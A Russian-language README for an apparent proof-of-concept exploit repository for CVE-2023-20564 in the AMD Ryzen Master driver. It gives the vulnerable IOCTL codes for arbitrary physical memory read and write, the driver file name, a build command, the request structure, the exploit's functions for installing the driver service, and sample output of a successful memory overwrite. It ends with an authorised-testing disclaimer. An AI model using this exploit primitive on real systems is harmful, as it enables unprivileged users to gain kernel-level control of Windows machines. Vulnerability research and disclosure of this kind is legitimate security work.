
Доказательство концепции эксплойта для CVE-2023-20564, демонстрирующее произвольное чтение/запись физической памяти через обработчики IOCTL драйвера AMD Ryzen Master, что позволяет повысить привилегии в Windows.
Этот репозиторий содержит доказательство концепции (PoC), демонстрирующее уязвимость CVE-2023-20564 в драйвере AMD Ryzen Master. Уязвимость позволяет непривилегированным пользователям читать и записывать произвольную физическую память, что может привести к повышению привилегий и компрометации системы.
Драйвер AMD Ryzen Master (AMDRyzenMasterDriverV17.sys) содержит недостаточную проверку в своих обработчиках IOCTL, а именно:
0x81112F08 - Позволяет читать произвольную физическую память0x81112F0C - Позволяет записывать произвольную физическую памятьДрайвер не выполняет надлежащую проверку:
Это позволяет вредоносным приложениям:
AMDRyzenMasterDriverV17.sys - файл уязвимого драйвера# manually
g++ -std=c++17 poc_demo.cpp -o poc_demo.exe -ladvapi32
typedef struct _AMDReadStructure {
LARGE_INTEGER PhysAddr; // Physical address to read
LARGE_INTEGER SizeAndData; // Size and data buffer
CHAR Buffer[1]; // Variable data buffer
} AMDReadStructure, *PAMDReadStructure;
ReadPhysicalMemory() - Чтение из физической памятиWritePhysicalMemory() - Запись в физическую памятьTestReadWriteVerify() - Полная последовательность тестированияInstallDriverService() - Установка драйвераStopAndRemoveDriverService() - Очистка драйвера===========================================
AMD Ryzen Master Driver - Memory PoC
===========================================
[*] Installing and starting driver service...
[+] Driver file found
[+] Service created successfully
[+] Service started successfully
[*] Initializing driver connection...
[+] Driver connection established successfully
[!] TESTING READ/WRITE/VERIFY SEQUENCE
[STEP 1] Reading original data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Read 8 bytes from 0x100000
Data: 4D 5A 90 00 03 00 00 00
[STEP 2] Writing test data...
[*] Writing 8 bytes to physical address 0x100000
Data: DE AD BE EF CA FE BA BE
[*] PHYSICAL MEMORY WRITE SUCCESS!
Wrote 8 bytes to 0x100000
[STEP 3] Verifying written data...
[*] Reading 8 bytes from physical address 0x100000
[*] PHYSICAL MEMORY READ SUCCESS!
Data: DE AD BE EF CA FE BA BE
[*] DATA VERIFICATION SUCCESS! Write/Read works correctly!
Уязвимый драйвер предоставляет два основных IOCTL:
Physical Memory Read (0x81112F08)
Physical Memory Write (0x81112F0C)
Помните: Этот инструмент предназначен только для авторизованного тестирования безопасности. Всегда получайте соответствующее разрешение перед тестированием на любой системе.